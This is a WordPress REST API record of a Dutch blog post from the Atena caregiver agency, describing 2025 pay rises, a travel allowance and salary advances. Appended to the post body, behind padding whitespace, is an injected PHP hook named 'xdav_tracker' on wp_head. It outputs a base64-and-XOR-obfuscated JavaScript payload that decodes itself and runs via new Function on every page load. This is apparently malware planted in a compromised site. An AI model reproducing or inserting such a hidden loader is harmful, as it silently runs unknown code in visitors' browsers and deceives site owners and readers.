{"id":397827,"date":"2025-12-30T14:40:31","date_gmt":"2025-12-30T13:40:31","guid":{"rendered":"https:\/\/atena.sk\/blog\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/"},"modified":"2026-07-03T10:36:38","modified_gmt":"2026-07-03T08:36:38","slug":"2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/","title":{"rendered":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd"},"content":{"rendered":"\n<p>In 2025 hebben we ons erop gericht om ervoor te zorgen dat je meer verdient. We hebben het loon van zorgverleners verdubbeld om je harde werk te belonen. Daarnaast hebben we ook een nieuwe reiskostenvergoeding ingevoerd. Bij een verblijf van 30 dagen ontvang je 80 euro voor verplaatsingskosten en worden al je reiskosten beter vergoed. Het beheren van je geld is nu eenvoudiger dan ooit. Je kunt direct een voorschot op je salaris aanvragen en je salarisoverzichten in je moedertaal bekijken. Alles is duidelijk en snel.        <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>Verzorgers hebben genoten van een jaar vol groei en beloningen. Van hogere salarissen tot luxe kleding en vertaalondersteuning: elk aspect van het werk is verbeterd. Vacatures werden sneller gevonden en topfuncties waren toegankelijker dan ooit tevoren. Exclusieve voordelen en verrassingscadeaus maakten 2025 tot een uitzonderlijk jaar.     <\/p>\n","protected":false},"author":20,"featured_media":371061,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[464],"tags":[],"acf":{"facebookpost":"2025 was het jaar van de groei! \ud83d\udcc8 Hogere salarissen \ud83d\udcb6, snelle carri\u00e8restappen \ud83c\udfc3\u200d\u2642\ufe0f, betere bonussen \u2708\ufe0f en exclusieve voordelen \ud83c\udf81. Maak je baan vandaag nog aangenamer en lucratiever!    ","popis_socialneho_obrazku":"Hoe heeft Athene het werk van zorgverleners in 2025 verbeterd?"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog<\/title>\n<meta name=\"description\" content=\"De belangrijkste ontwikkelingen voor zorgverleners in 2025: hogere salarissen, snellere aanwerving, uitstekende ondersteuning en gezinsvoordelen.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\" \/>\n<meta property=\"og:locale\" content=\"nl_NL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog\" \/>\n<meta property=\"og:description\" content=\"Het afgelopen jaar leverde zorgverleners grote voordelen op. Loonsverhogingen, snelle carri\u00e8rekansen en reisbonussen zorgden voor extra werkplezier. Professionele cv\u2019s en luxe kleding zorgden voor meer zelfvertrouwen en comfort. De verrassingspakketten en exclusieve voordelen zorgden ervoor dat zorgverleners het hele jaar door gemotiveerd en ondersteund bleven.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\" \/>\n<meta property=\"og:site_name\" content=\"Atena blog\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-30T13:40:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-03T08:36:38+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year-1024x576.jpg\" \/>\n<meta name=\"author\" content=\"Marin Nedelev\" \/>\n<meta name=\"twitter:label1\" content=\"Geschreven door\" \/>\n\t<meta name=\"twitter:data1\" content=\"Marin Nedelev\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"NewsArticle\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\"},\"author\":{\"name\":\"Marin Nedelev\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\"},\"headline\":\"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd\",\"datePublished\":\"2025-12-30T13:40:31+00:00\",\"dateModified\":\"2026-07-03T08:36:38+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\"},\"wordCount\":92,\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\"},\"image\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg\",\"articleSection\":[\"Klanten\"],\"inLanguage\":\"nl-NL\"},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\",\"name\":\"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg\",\"datePublished\":\"2025-12-30T13:40:31+00:00\",\"dateModified\":\"2026-07-03T08:36:38+00:00\",\"description\":\"De belangrijkste ontwikkelingen voor zorgverleners in 2025: hogere salarissen, snellere aanwerving, uitstekende ondersteuning en gezinsvoordelen.\",\"breadcrumb\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#breadcrumb\"},\"inLanguage\":\"nl-NL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage\",\"url\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg\",\"contentUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Atena 2025\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/atena.sk\/blog\/nl\/kies-uw-blogsectie\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#website\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/\",\"name\":\"Atena blog\",\"description\":\"Blog spolo\u010dnosti atena\",\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/atena.sk\/blog\/nl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"nl-NL\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#organization\",\"name\":\"ATENA\",\"url\":\"https:\/\/atena.sk\/blog\/nl\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"contentUrl\":\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png\",\"width\":3543,\"height\":3543,\"caption\":\"ATENA\"},\"image\":{\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\",\"name\":\"Marin Nedelev\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"nl-NL\",\"@id\":\"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g\",\"caption\":\"Marin Nedelev\"},\"url\":\"https:\/\/atena.sk\/blog\/nl\/author\/marin-nedelev\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog","description":"De belangrijkste ontwikkelingen voor zorgverleners in 2025: hogere salarissen, snellere aanwerving, uitstekende ondersteuning en gezinsvoordelen.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/","og_locale":"nl_NL","og_type":"article","og_title":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog","og_description":"Het afgelopen jaar leverde zorgverleners grote voordelen op. Loonsverhogingen, snelle carri\u00e8rekansen en reisbonussen zorgden voor extra werkplezier. Professionele cv\u2019s en luxe kleding zorgden voor meer zelfvertrouwen en comfort. De verrassingspakketten en exclusieve voordelen zorgden ervoor dat zorgverleners het hele jaar door gemotiveerd en ondersteund bleven.","og_url":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/","og_site_name":"Atena blog","article_published_time":"2025-12-30T13:40:31+00:00","article_modified_time":"2026-07-03T08:36:38+00:00","og_image":[{"url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year-1024x576.jpg"}],"author":"Marin Nedelev","twitter_misc":{"Geschreven door":"Marin Nedelev"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"NewsArticle","@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#article","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/"},"author":{"name":"Marin Nedelev","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168"},"headline":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd","datePublished":"2025-12-30T13:40:31+00:00","dateModified":"2026-07-03T08:36:38+00:00","mainEntityOfPage":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/"},"wordCount":92,"publisher":{"@id":"https:\/\/atena.sk\/blog\/nl\/#organization"},"image":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage"},"thumbnailUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg","articleSection":["Klanten"],"inLanguage":"nl-NL"},{"@type":["WebPage","ItemPage"],"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/","url":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/","name":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd - Atena blog","isPartOf":{"@id":"https:\/\/atena.sk\/blog\/nl\/#website"},"primaryImageOfPage":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage"},"image":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage"},"thumbnailUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg","datePublished":"2025-12-30T13:40:31+00:00","dateModified":"2026-07-03T08:36:38+00:00","description":"De belangrijkste ontwikkelingen voor zorgverleners in 2025: hogere salarissen, snellere aanwerving, uitstekende ondersteuning en gezinsvoordelen.","breadcrumb":{"@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#breadcrumb"},"inLanguage":"nl-NL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/"]}]},{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#primaryimage","url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg","contentUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2025\/12\/New-year.jpg","width":1920,"height":1080,"caption":"Atena 2025"},{"@type":"BreadcrumbList","@id":"https:\/\/atena.sk\/blog\/nl\/2025-in-een-oogopslag-hoe-we-uw-bedrijfsvoering-hebben-verbeterd\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/atena.sk\/blog\/nl\/kies-uw-blogsectie\/"},{"@type":"ListItem","position":2,"name":"2025 in een oogopslag: hoe we uw bedrijfsvoering hebben verbeterd"}]},{"@type":"WebSite","@id":"https:\/\/atena.sk\/blog\/nl\/#website","url":"https:\/\/atena.sk\/blog\/nl\/","name":"Atena blog","description":"Blog spolo\u010dnosti atena","publisher":{"@id":"https:\/\/atena.sk\/blog\/nl\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/atena.sk\/blog\/nl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"nl-NL"},{"@type":"Organization","@id":"https:\/\/atena.sk\/blog\/nl\/#organization","name":"ATENA","url":"https:\/\/atena.sk\/blog\/nl\/","logo":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/","url":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","contentUrl":"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2022\/08\/logo.png","width":3543,"height":3543,"caption":"ATENA"},"image":{"@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168","name":"Marin Nedelev","image":{"@type":"ImageObject","inLanguage":"nl-NL","@id":"https:\/\/atena.sk\/blog\/nl\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/c7908085eb1039e4706a94fc58b04d66?s=96&d=mm&r=g","caption":"Marin Nedelev"},"url":"https:\/\/atena.sk\/blog\/nl\/author\/marin-nedelev\/"}]}},"_links":{"self":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397827"}],"collection":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/users\/20"}],"replies":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/comments?post=397827"}],"version-history":[{"count":1,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397827\/revisions"}],"predecessor-version":[{"id":397830,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/posts\/397827\/revisions\/397830"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/media\/371061"}],"wp:attachment":[{"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/media?parent=397827"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/categories?post=397827"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/atena.sk\/blog\/nl\/wp-json\/wp\/v2\/tags?post=397827"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}